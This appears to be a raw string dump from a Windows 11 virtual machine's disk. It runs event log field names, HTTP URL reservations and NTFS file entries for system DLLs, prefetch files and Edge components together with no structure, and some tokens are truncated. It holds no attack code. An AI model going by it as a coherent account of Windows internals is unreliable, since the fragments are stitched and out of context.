PreviousSessionType PreviousSessionDurationInUs PreviousEnergyCapacityAtStart !PreviousFullEnergyCapacityAtStart PreviousEnergyCapacityAtEnd PreviousFullEnergyCapacityAtEnd NextSessionId NextSessionType PowerStateAc MonitorReason Windows Modules Installerdemand startauto startTrustedInstaller Background Intelligent Transfer Serviceauto startdemand startBITS Background Intelligent Transfer Servicedemand startauto startBITS Windows Modules Installerauto startdemand startTrustedInstaller Microsoft-Windows-WindowsUpdateClient System 2026-02 Security Update (KB5077181) (26200.7840) Microsoft-Windows-Kernel-Power System Microsoft-Windows-WindowsUpdateClient System Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.445.173.0) - Current Channel (Broad) Microsoft-Windows-WindowsUpdateClient System Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.445.173.0) - Current Channel (Broad) Microsoft-Windows-WindowsUpdateClient System Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.445.173.0) - Current Channel (Broad) 5http://schemas.microsoft.com/win/2004/08/events/event User32 &{b0aa8734-56f7-41cc-b2f4-de228e98b946} User32 System Windows11 param1 param2 param3 param4 param5 param6 param7 C:\WINDOWS\Explorer.EXE (WINDOWS11)WINDOWS11Other (Unplanned)0x0power offWindows11\job Microsoft-Windows-Winlogon System TSId UserSid 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System Windows11 Binary Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System DwordVal Microsoft-Windows-DHCPv6-Client System 10.00. 26200 Multiprocessor Free -60 W. Europe Standard Time Windows 10 Pro 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699884e9 Not Available Not Available 2048 Windows11 Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Kernel-Power System ShutdownActionType ShutdownEventCode ShutdownReason Microsoft-Windows-Kernel-Power System AdaptiveTargetState IsUnattended Status Microsoft-Windows-Kernel-General System StopTime Microsoft-Windows-Kernel-General System MajorVersion MinorVersion BuildVersion QfeVersion ServiceVersion BootMode StartTime Microsoft-Windows-Kernel-General System SystemTime LoaderTime InternalBootFlags HalRtcErrorCode RealTimeIsUniversal IsSoftBoot Success Phase Microsoft-Windows-Kernel-Boot System Status EnableDisableReason VsmPolicy Microsoft-Windows-Kernel-Boot System LastShutdownGood LastBootGood LastBootId BootStatusPolicy Microsoft-Windows-Kernel-Boot System Status FailureReason Microsoft-Windows-Kernel-Boot System EfiTimeZoneBias EfiDaylightFlags EfiTime Microsoft-Windows-Kernel-Boot System BootMenuPolicy Microsoft-Windows-Kernel-Boot System BootType LoadOptions Microsoft-Windows-Kernel-Boot System EntryCount Microsoft-Windows-Kernel-Boot System BitlockerUserInputTime Microsoft-Windows-Kernel-General System UpdateReason EnabledNew CountNew CountOld Microsoft-Windows-HAL System 5http://schemas.microsoft.com/win/2004/08/events/event vmci System Windows11 VMCI: Using capabilities (0x1c). Microsoft-Windows-FilterManager System FinalStatus DeviceVersionMajor DeviceVersionMinor DeviceNameLength DeviceName DeviceTime FileInfo Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System WdFilter Microsoft-Windows-Ntfs System DriveName DeviceName CorruptionActionState \Device\HarddiskVolume3 Microsoft-Windows-Kernel-Processor-Power System Group Number IdleStateCount IdleImplementation NominalFrequency MaximumPerformancePercent MinimumPerformancePercent MinimumThrottlePercent PerformanceImplementation Microsoft-Windows-Kernel-Processor-Power System 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System Windows11 Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-FilterManager System FileCrypt Microsoft-Windows-FilterManager System UCPD Microsoft-Windows-FilterManager System npsvctrig Microsoft-Windows-Kernel-Power System State Reason Microsoft-Windows-Ntfs System \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 Microsoft-Windows-Kernel-General System ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh Microsoft-Windows-Wininit System HRESULT NewLatchTimerNeeded *NewLatchTimerWaitingSystemUpdateCompletion #PreviousLatchTimerExistsButDisabled PolicyFileExists Microsoft-Windows-Wininit System HRESULT PreviousTimerExists PreviousTimerStartTime GracePeriod %AttemptedRecoveryEnforcementSucceeded Microsoft-Windows-Wininit System HRESULT NewTimerNeeded NewTimerWaitingUpdateCompletion PreviousTimerExistsButDisabled Microsoft-Windows-Wininit System Config IsTestConfig IsAutoEnabled Microsoft-Windows-Wininit System Level LsaSrv System HardwareChecks ADDomainJoin AADDomainJoin IsLicensed DomainController Microsoft-Windows-Directory-Services-SAM System %SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD Default SD String: O:SYG:SYD:(A;;RC;;;BA) Microsoft-Windows-Directory-Services-SAM System #SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT MinimumPasswordLength RelaxMinimumPasswordLengthLimits MinimumPasswordLengthAudit Microsoft-Windows-Directory-Services-SAM System 'SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF Microsoft-Windows-FilterManager System applockerfltr Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System luafv Microsoft-Windows-FilterManager System wcifs Microsoft-Windows-FilterManager System UnionFS Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System storqosflt Microsoft-Windows-FilterManager System bindflt Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-HttpService System ReserveStatus ProcessId ExecutablePath UserSid http://*:5357/ Microsoft-Windows-HttpService System http://+:80/Temporary_Listen_Addresses/ Microsoft-Windows-HttpService System https://*:5358/ Microsoft-Windows-HttpService System http://*:2869/ Microsoft-Windows-HttpService System https://+:5986/wsman/ Microsoft-Windows-HttpService System http://+:47001/wsman/ Microsoft-Windows-HttpService System http://+:5985/wsman/ Microsoft-Windows-HttpService System https://+:3392/rdp/ Microsoft-Windows-HttpService System https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ Microsoft-Windows-HttpService System http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/ Microsoft-Windows-HttpService System https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/ Microsoft-Windows-HttpService System http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/ Microsoft-Windows-HttpService System http://+:10247/apps/ Microsoft-Windows-HttpService System https://+:10245/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10243/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10246/MDEServer/ param1 uiomap Microsoft-Windows-Winlogon System Microsoft-Windows-DNS-Client System QueryName AddressLength Address ClientPID wpad Windows Modules Installerdemand startauto startTrustedInstaller Windows Modules Installerauto startdemand startTrustedInstaller 5http://schemas.microsoft.com/win/2004/08/events/event Microsoft-Windows-DistributedCOM &{1B562E86-B7AA-4131-BADC-B6F3A001407E} DCOM System Windows11 param1 param2 param3 param4 param5 param6 param7 param8 param9 param10 param11 application-specificLocalLaunchWindows.SecurityCenter.WscDataProtectionUnavailableNT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable application-specificLocalLaunchWindows.SecurityCenter.WscBrokerManagerUnavailableNT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable application-specificLocalLaunchWindows.SecurityCenter.SecurityAppBrokerUnavailableNT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable Microsoft-Windows-TPM-WMI System DeviceAttributes BucketId BucketConfidenceLevel UpdateType BaseBoardManufacturer:Intel Corporation;FirmwareManufacturer:VMware, Inc.;FirmwareVersion:VMW201.00V.24866131.B64.2507211911;OEMModelNumber:VMware20,1;OEMModelBaseBoard:440BX Desktop Reference Platform;OEMModelSystemFamily:;OEMManufacturerName:VMware, Inc.;OEMModelSKU:;OSArchitecture:amd64; 3cbe19ad83f4f74828ea0bb0c21cc9af488df5d347c6969fee5ef76501b36415 Under Observation - More Data Needed Microsoft-Windows-TPM-WMI System UpdateType HResult Microsoft-Windows-TPM-WMI System SBAT C:\WINDOWS\Explorer.EXE (WINDOWS11)WINDOWS11Other (Unplanned)0x0power offWindows11\job Microsoft-Windows-Winlogon System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-Dhcp-Client System 10.00. 26200 Multiprocessor Free -60 W. Europe Standard Time Windows 10 Pr WofCompressedData $DSC CORESH~1.DLL CORESH~1.DLL CoreShellExtFramework.dll $DSC $DSC COREUI~1.DLL CoreUIComponents.dll WofCompressedData $DSC COREUI~1.DLL CoreUIComponents.dll CoreUIComponents.dll WofCompressedData $DSC $DSC WofCompressedData $DSC CROSSD~1.DLL CrossDeviceResumeView.dll $DSC crtdll.dll crtdll.dll WofCompressedData $DSC CRYPTB~1.DLL cryptbase.dll cryptbase.dll WofCompressedData $DSC $DSC CRYPTB~1.DLL cryptbase.dll WofCompressedData $DSC cryptngc.dll cryptngc.dll WofCompressedData $DSC cryptngc.dll WofCompressedData $DSC cryptngc.dll cryptngc.dll WofCompressedData $DSC $DSC CRYPTO~1.DLL CryptoWinRT.dll WofCompressedData $DSC AppXDeploymentClient.dll AppXDeploymentClient.dll WofCompressedData $DSC AppXDeploymentExtensions.desktop.dll $AppXDeploymentExtensions.desktop.dll WofCompressedData $DSC AppXDeploymentExtensions.onecore.dll $AppXDeploymentExtensions.onecore.dll WofCompressedData $DSC AppXDeploymentServer.dll AppXDeploymentServer.dll WofCompressedData $DSC CRYPTO~1.DLL CryptoWinRT.dll0 CryptoWinRT.dll WofCompressedData $DSC CRYPTO~1.DLL CryptoWinRT.dll WofCompressedData $DSC CRYPTO~1.DLL CryptoWinRT.dll0 CryptoWinRT.dll WofCompressedData $DSC $DSC CRYPTO~1.DLL CryptoWinRT.dll $DSC $DSC cscapi.dll cscapi.dll WofCompressedData $DSC cscapi.dll cscapi.dll WofCompressedData $DSC cscdll.dll cscdll.dll WofCompressedData $DSC cscdll.dll cscdll.dll WofCompressedData $DSC D3D10W~1.DLL d3d10warp.dll d3d10warp.dll WofCompressedData $DSC $DSC d3d10warp.dll D3D10W~1.DLL d3d10warp.dll WofCompressedData $DSC D3D10W~1.DLL d3d10warp.dll WofCompressedData $DSC d3d11.dll WofCompressedData $DSC d3d11.dll WofCompressedData $DSC d3d11.dll d3d11.dll WofCompressedData $DSC d3d11.dll d3d11.dll WofCompressedData $DSC D3D11O~1.DLL d3d11on12.dll d3d11on12.dll WofCompressedData $DSC S-1-5-~1 S-1-5-21-3914889805-4071901059-918772286-1000 $I300 SystemAppData SYSTEM~1 WINDOW~1.PF0 WINDOWSTERMINAL.EXE-0DDF887E.pf OPENCO~1.PF0 OPENCONSOLE.EXE-DDB337D4.pf MS9304~1.PF0 MSEDGEWEBVIEW2.EXE-4FD41A4C.pf 2C4790~1.XML 2c47903d-15ab-20db-6020-db5206c59481.xml DLLHOS~1.PF0 DLLHOST.EXE-C7F45418.pf RUNTIM~1.PF0 RUNTIMEBROKER.EXE-0725D89A.pf DLLHOS~2.PF0 DLLHOST.EXE-810B6BBE.pf DLLHOS~3.PF0 DLLHOST.EXE-1BAE06BB.pf AUDIOD~1.PF0 AUDIODG.EXE-AB22E9A6.pf WIDGET~1.PF0 WIDGETBOARD.EXE-C77DD7E5.pf DLLHOS~4.PF0 DLLHOST.EXE-47BE07DC.pf DL6473~1.PF0 DLLHOST.EXE-7D5CE0CA.pf SVCHOS~1.PF0 SVCHOST.EXE-6867B1E5.pf WLRMDR~1.PF0 WLRMDR.EXE-A7C36FDD.pf E9F4ED~1.XML e9f4ed8d-425b-bb53-5acb-e33d79009b66.xml 1903F9~1.XML 1903f967-ecb0-0e8f-e0f1-d08d61d03749.xml WsxPackManager.dll WofCompressedData $DSC DL5E16~1.PF0 DLLHOST.EXE-A6DA1980.pf 71EF3D~1.XML 71ef3df1-f4b1-69cd-793a-48e165e282aa.xml USOSET~1.JSO UsoSettings.json 306E67~1.XML 306e67c8-9a1d-38de-8654-054bd8a6e6d6.xml 7646FA~1.XML 7646fa0f-b52c-71a8-3aed-950dd1668c09.xml DL0EE7~1.PF0 DLLHOST.EXE-6F625E57.pf SCHEDU~4 Schedule Maintenance Work MONOTI~1.PF0 MONOTIFICATIONUX.EXE-62024999.pf {56EB1~1 {56EB18F8-B008-4CBD-B6D2-8C97FE7E9062} $I300 145.0.3800.70 145038~1.70 145038~1.70 145038~1.70 145038~1.700 145.0.3800.70 $I300 MicrosoftEdge_X64_145.0.3800.70.exe MICROS~1.EXE SVA560~1.PF0 SVCHOST.EXE-EBBF67E6.pf DSTTZS~1.JSO DSTTZSYNC.json DIRECT~1.JSO DirectXDbVersion.json directxdatabaseupdater.exe WofCompressedData $DSC AppRepository AppxProvisioning.xmlger APPXPR~1.XMLces Cachesl CapabilityAccessManager ClipSVC Containersd CONTAI~1tad DeviceMetadataCache DeviceMetadataStore DEVICE~1ore GameExplorer LfSvcX~ Models OneSettings PackagedEventProviders Parental Controls Power Efficiency Diagnostics PowerGrido POWERG~1mo RetailDemo Ringtones Start Menu STARTM~1 SystemData SYSTEM~1s Templates WSAIFabric WSAIFA~1 WSXPacks nci.dll $DSC nci.dll0 nci.dll WofCompressedData $DSC nci.dll WofCompressedData $DSC ncobjapi.dll ncobjapi.dll WofCompressedData $DSC $DSC netplwiz.dll netplwiz.dll WofCompressedData $DSC netplwiz.dll $DSC netprofm.dll netprofm.dll WofCompressedData $DSC $DSC netprofm.dll netprofm.dll WofCompressedData $DSC $DSC dataclen.dll WofCompressedData $DSC DATAEX~1.DLL DataExchange.dll DataExchange.dll WofCompressedData $DSC $DSC DATAEX~1.DLL DataExchange.dll $DSC $DSC DATAEX~1.DLL DataExchange.dll DataExchange.dll WofCompressedData $DSC $DSC dcomp.dll dcomp.dll WofCompressedData $DSC dcompi.dll dcompi.dll WofCompressedData $DSC SYSTEM~1.AUX System.Windows.Forms.ni.dll.aux dcompi.dll dcompi.dll WofCompressedData $DSC MICROS~1.DLL Microsoft.Internal.WarpPal.dll $DSC $DSC WofCompressedData $DSC MICROS~1.DLL Microsoft.Internal.WarpPal.dll $DSC WofCompressedData $DSC MICROS~1.DLL $DSC MICROS~1.DLL Microsoft.Internal.WarpPal.dll WofCompressedData $DSC $DSC desktop.ini desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21816 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21816 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21803 InfoTip=@%SystemRoot%\system32\shell32.dll,-12689 IconResource=%SystemRoot%\system32\imageres.dll,-3 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21803 InfoTip=@%SystemRoot%\system32\shell32.dll,-12689 IconResource=%SystemRoot%\system32\imageres.dll,-3 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21799 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21799 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21817 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21813 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21813 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21808 $DSC desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21808 biwinrt.dll0 biwinrt.dll WofCompressedData $DSC biwinrt.dll WofCompressedData $DSC biwinrt.dll0 biwinrt.dll WofCompressedData $DSC $DSC biwinrt.dll $DSC $DSC BTHRAD~1.DLL BthRadioMedia.dll $DSC $DSC bthserv.dll $DSC $DSC bthserv.dll0 bthserv.dll WofCompressedData $DSC BTHTEL~1.DLL BthTelemetry.dll BthTelemetry.dll WofCompressedData $DSC imkrhjd.lex0 imkrhjd.lex WofCompressedData $DSC MsHy7en.lex0 MsHy7en.lex WofCompressedData $DSC MsSp7en-US.lex MSSP7E~1.LEX MsSp7en-US.lex WofCompressedData $DSC MSSP7E~1.LEX MsSp7en-US.lex $DSC MSDTC.LOG $setupapi.offline.20240401_072605.log WofCompressedData BBI.LOG1 $DSC $DSC ELAM.LOG1 $DSC TE6AC5~1.DLL TextInputExtensions.dll0 TextInputExtensions.dll WofCompressedData $DSC TEXTIN~1.DLL TextInputFramework.dll WofCompressedData $DSC TEXTIN~1.DLL TextInputFramework.dll TextInputFramework.dll WofCompressedData $DSC $DSC TE439F~1.DLL TextInputLayoutData.dll0 TextInputLayoutData.dll WofCompressedData $DSC TEXTSH~1.DLL TextShaping.dll0 TextShaping.dll WofCompressedData $DSC $DSC TEXTSH~1.DLL TextShaping.dll $DSC $DSC themecpl.dll WofCompressedData $DSC themecpl.dll themecpl.dll WofCompressedData $DSC themeui.dll0 themeui.dll WofCompressedData $DSC themeui.dll $DSC $DSC THREAD~1.DLL threadpoolwinrt.dll0 threadpoolwinrt.dll WofCompressedData $DSC $DSC THREAD~1.DLL threadpoolwinrt.dll0 threadpoolwinrt.dll WofCompressedData $DSC TpmTasks.dll $DSC $DSC TpmTasks.dll TpmTasks.dll WofCompressedData $DSC $DSC tpmvsc.dll tpmvsc.dll WofCompressedData $DSC tpmvsc.dll WofCompressedData $DSC TSAPPCMP.dll $DSC TSAPPCMP.dll $DSC TSAPPCMP.dll $DSC tsbyuv.dll tsbyuv.dll WofCompressedData $DSC VSSVCE~1.PF0 VSSVC.EXE-6C8F0C66.pf S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep 1521F6~1.TBR 1521f696d8626c8e8127c0284ab987ff1974f39a.tbres RESOUR~1.PRI resources.084fc2cc.pri CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-1.pri f_000026 vcruntime140_clr0400.dll WofCompressedData $DSC SNIPPI~1.EXE SnippingTool.exe Microsoft.ScreenSketch_8wekyb3d8bbwe Microsoft.ScreenSketch_8wekyb3d8bbwe!App C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe\SnippingTool\SnippingTool.exe S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep ucrtbase_clr0400.dll WofCompressedData $DSC WI39BB~1.ETL WindowsUpdate.20260221.121757.401.29.etl powershell.exe WofCompressedData $DSC POWERS~1 PowerShell $I300 StartupProfileData-NonInteractive STARTU~1 $DSC assets.db $I300 $I30 $I30 CURRENT LOCK MANIFEST-000001 MANIFE~1 MIACD9~1.0_X Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe $I300 MFC140ITA.dll $I30 $I30 concrt140.dll CONCRT~1.DLL APPXME~1 AppxMetadata $I300 CodeIntegrity.cat CODEIN~1.CAT MIF4F1~1.0_X Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe $I300 msvcp140_atomic_wait_app.dll $I30 $I30 crt140_app.dll CONCRT~1.DLL pfclient.dll $DSC $DSC pfclient.dll pfclient.dll WofCompressedData $DSC $DSC pfclient.dll $DSC $DSC pfclient.dll pfclient.dll WofCompressedData $DSC pfclient.dll WofCompressedData $DSC MI4BF3~1.EVT Microsoft-Windows-WFP%4Operational.evtx WofCompressedData $DSC PHONEC~1.DLL $DSC WofCompressedData $DSC PHONEC~1.DLL $DSC msvcp140_2_app.dll msvcp140_2_app.dll msvcp140_2_app.dll msvcp140_app.dll msvcp140_app.dll MSVCP1~3.DLL msvcp140_app.dll WofCompressedData $DSC msvcp140_app.dll msvcp140_app.dll msvcp140_app.dll msvcp140_atomic_wait_app.dll msvcp140_atomic_wait_app.dll MSVCP1~4.DLL msvcp140_atomic_wait_app.dll WofCompressedData $DSC OSProvider.dll.mui OSPROV~1.MUI OSProvider.dll.mui $DSC OSProvider.dll.mui OSPROV~1.MUI OSProvider.dll.mui $DSC p9rdrservice.dll.mui P9RDRS~1.MUI p9rdrservice.dll.mui $DSC pacer.sys.mui PACERS~1.MUI pacer.sys.mui WofCompressedData $DSC PSDSCF~1.MUI PSDSCFileDownloadManagerEvents.dll.mui &PSDSCFileDownloadManagerEvents.dll.mui WofCompressedData $DSC WofCompressedData $DSC PSEvents.dll.mui WofCompressedData $DSC psmsrv.dll.mui PSMSRV~1.MUI psmsrv.dll.mui $DSC PSPLUG~1.MUI pspluginwkr.dll.mui $DSC AadRecoveryPasswordDeleteat AADREC~1cov ClientRecoveryPasswordRotatione CLIENT~1ntM FveDecryptedVolumeFolderata FVEDEC~1ntM IndexerVolumeGuidRe INDEXE~1ntM MountPointManagerRemoteDatabase MOUNTP~1 tracking.log WPSettings.dat WPSETT~1.DAT ConnectedDevicesPlatform CONNEC~1eua FontCacheua FONTCA~1tua Microsoftua MICROS~1Qua TempeAn UsageAndQualityInsights USAGEA~1 WinSATAPI.dll WofCompressedData $DSC MI46F4~1.EVT Microsoft-Windows-AAD%4Operational.evtx MICROS~1.EVT Microsoft-Windows-AAD.evtx MI1C6C~1.EVT Microsoft-Windows-Shell-Core%4Operational.evtx ONBFC5~1.PNG OneDriveSmallTile.scale-200.png ON5108~1.PNG OneDriveSmallTile.scale-400.png RESOUR~1.PRI Resources.pri WofCompressedData ONEDRI~1.XML OneDrive.VisualElementsManifest.xml MI86D6~1.EVT Microsoft-Windows-Known Folders API Service.evtx PCL5ERES.DLL PCL5URES.DLL PCLXL.DLL SE06C4~1.PF0 SETUP.EXE-CA3E74CA.pf acpipagr.PNF LOCALS~1 LocalState $I300 ROAMIN~1 RoamingState $I300 BROWSE~1.PMA BrowserMetrics-699D5A50-1CDC.pma APPLIC~1.PF0 APPLICATIONFRAMEHOST.EXE-8CE9A1EE.pf 145038~1.700 145.0.3800.70 $I300 $I30 $I30? learning_tools.dll msedge_200_percent.pak $I30 $I30 UPDATE~3.ETL UpdateSessionOrchestration.bb7d8742-5858-46cf-8f66-75474ae2f594.1.etl Settings $I300 roaming.lock ROAMIN~1.LOC settings.dat $I300 $I30 $I30 INETCA~1 INetCookies INetHistory INETHI~1 Temp MOUXCO~3.ETL MoUxCoreWorker.30915818-b504-46b3-ae7e-ed7fa308c233.1.etl 145.0.3800.70.manifest 145038~1.MAN 145.0.3800.70.manifest ADSELE~1 AdSelectionAttestationsPreloaded $I300 ad-selection-attestations.dat manifest.json $I300 ie_to_edge_bho.dll ie_to_edge_bho_64.dll ie_to_edge_stub.exe concrt140.dll CONCRT~1.DLL concrt140.dll cookie_exporter.exe0 COOKIE~1.EXE cookie_exporter.exe (copilot_overlay_unscaled_images.pak.DATA #copilot_overlay_unscaled_images.pak0 COPILO~3.PAK copilot_overlay_unscaled_images.pak d3dcompiler_47.dll D3DCOM~1.DLL d3dcompiler_47.dll WINDOW~4.ETL WindowsUpdate.20260220.081041.519.1.etl acpipmi.PNF SEARCH~1.PF0 SEARCHINDEXER.EXE-1CF42BC6.pf BDEUIS~1.PF0 BDEUISRV.EXE-7BC33651.pf SEARCH~2.PF0 SEARCHPROTOCOLHOST.EXE-69C456C3.pf SEARCH~3.PF0 SEARCHFILTERHOST.EXE-44162447.pf SVDA76~1.PF0 SVCHOST.EXE-5E007493.pf CLOUDS~1 CloudStore $I300 DE25D1~1.XML DesktopTargetCompDB_he-IL.xml zh-Hant $I300 strings.json STRING~1.JSO Spelling $I300 neutral $I300 strings.json STRING~1.JSO SC364C~1.ETL ScreenOnPowerStudyTraceSession-2026-02-20-08-11-25.etl delegatedWebFeatures.sccd.DATA delegatedWebFeatures.sccd DELEGA~1.SCC delegatedWebFeatures.sccd dxcompiler.dll DXCOMP~1.DLL dxcompiler.dll EBWEBV~1 EBWebView $I300 EAA672~1 eaa67247dc729a0d $I300 $I30 $I30 $DSC F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.dxcache-journal F4EB2D~1.DXC $DSC *{1939ED82-BFD5-4D32-B58E-D31D3C49715A}.cip {1939E~1.CIP {1939ED82-BFD5-4D32-B58E-D31D3C49715A}.cip WofCompressedData $DSC oem1.cat DL16BF~1.PF0 DLLHOST.EXE-DEEF2761.pf CMDEXE~1.PF0 CMD.EXE-0BD30981.pf CONHOS~1.PF0 CONHOST.EXE-0C6456FB.pf AppData $I300 roaming.lock ROAMIN~1.LOC EDGE_F~1 edge_feedback $I300 camera_mf_trace.wprp mf_trace.wprp EDGE_G~1 edge_game_assist $I300 EdgeGameAssist.msix VERSION elevation_service.exe ELEVAT~2.EXE elevation_service.exe eventlog_provider.dll EVENTL~1.DLL eventlog_provider.dll EXTENS~1 Extensions $I300 external_extensions.json identity_helper.exe0 IDENTI~1.EXE identity_helper.exe IDENTI~1 identity_proxy $I300 $I30 $I30 #canary.identity_helper.exe.manifest (dev.copilot.identity_helper.exe.manifest INSTAL~1 Installer $I300 copilot_setup.exe msedge_7z.data setup.exe learning_tools.dll LEARNI~1.DLL learning_tools.dll libGLESv2.dll LIBGLE~1.DLL libGLESv2.dll BACKGR~1.PF0 BACKGROUNDTASKHOST.EXE-CAD1DF16.pf MICROS~4.PF0 MICROSOFTEDGE_X64_145.0.3800.-3DFDFBA3.pf SE643C~1.PF0 SETUP.EXE-123D9A88.pf 145038~1.700 145.0.3800.70 $I300 $I30 $I30w learning_tools.dll msedge.dll.sig $I30 $I30 ADSELE~1 AdSelectionAttestationsPreloaded $I300 ad-selection-attestations.dat manifest.json MANIFE~1.JSO MANIFE~1.JSO WIDEVI~1 WidevineCdm $I300 manifest.jsonci _platform_specific _PLATF~1 _PLATF~1 _PLATF~1 _platform_specific $I300 win_x64 win_x64 $I300 widevinecdm.dll widevinecdm.dll.sig WIDEVI~1.SIG WIDEVI~1.SIG 145.0.3800.70.manifest 145.0.3800.70.manifest ad-selection-attestations.dat "ad-selection-attestations.dat.DATA "ad-selection-attestations.dat.DATA manifest.json manifest.json.DATA manifest.json.DATA ie_to_edge_bho.dll ie_to_edge_bho.dll ie_to_edge_bho_64.dll ie_to_edge_bho_64.dll ie_to_edge_stub.exe0 ie_to_edge_stub.exe concrt140.dll concrt140.dll cookie_exporter.exe0 cookie_exporter.exe &copilot_overlay_images_100_percent.pak +copilot_overlay_images_100_percent.pak.DATA &copilot_overlay_images_100_percent.pak &copilot_overlay_images_200_percent.pak +copilot_overlay_images_200_percent.pak.DATA &copilot_overlay_images_200_percent.pak delegatedWebFeatures.sccd delegatedWebFeatures.sccd DELEGA~1.SCC delegatedWebFeatures.sccd WofCompressedData $DSC #copilot_overlay_unscaled_images.pak0 #copilot_overlay_unscaled_images.pak0 (copilot_overlay_unscaled_images.pak.DATA d3dcompiler_47.dll d3dcompiler_47.dll MIF935~1.0_X MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy $I300 $I30 $I30 ActivationStore.dat.LOG1 ACTIVA~1.DAT delegatedWebFeatures.sccd delegatedWebFeatures.sccd delegatedWebFeatures.sccd.DATA dual_engine_adapter_x64.dll0 dual_engine_adapter_x64.dll0 dual_engine_adapter_x64.dll dxcompiler.dll dxcompiler.dll dxil.dll dxil.dll dxil.dll dxil.dll EMBEDD~1.DLL EmbeddedBrowserWebView.dll EmbeddedBrowserWebView.dll EmbeddedBrowserWebView.dll EMBEDD~1.DLL EmbeddedBrowserWebView.dll Edge.dat Edge.dat Edge.dat.DATA Edge.dat Edge.dat.DATA Edge.dat EdgeWebView.dat0 EdgeWebView.dat0 EdgeWebView.dat.DATA EdgeWebView.dat Entities Entities WofCompressedData $DSC camera_mf_trace.wprp.DATA camera_mf_trace.wprp.DATA camera_mf_trace.wprp mf_trace.wprp.DATA mf_trace.wprp mf_trace.wprp.DATA mf_trace.wprp EdgeGameAssist.msix0 EdgeGameAssist.msix.DATA EDGEGA~1.MSI EdgeGameAssist.msix VERSION0 VERSION.DATA VERSION0 VERSION0 VERSION.DATA VERSION elevated_tracing_service.exe elevated_tracing_service.exe elevated_tracing_service.exe elevation_service.exe elevation_service.exe eventlog_provider.dll eventlog_provider.dll external_extensions.json.DATA external_extensions.json.DATA external_extensions.json ffmpeg.dll ffmpeg.dll ffmpeg.dll ffmpeg.dll icudtl.dat icudtl.dat icudtl.dat.DATA0 icudtl.dat icudtl.dat.DATA0 icudtl.dat identity_helper.exe0 identity_helper.exe !beta.identity_helper.exe.manifest !beta.identity_helper.exe.manifest !beta.identity_helper.exe.manifest BETAID~1.MAN beta.identity_helper.exe.manifest external_extensions.json external_extensions.json EXTERN~1.JSO external_extensions.json $DSC #canary.identity_helper.exe.manifest0 #canary.identity_helper.exe.manifest0 #canary.identity_helper.exe.manifest0 CANARY~1.MAN canary.identity_helper.exe.manifest (dev.copilot.identity_helper.exe.manifest (dev.copilot.identity_helper.exe.manifest lper.exe.manifest 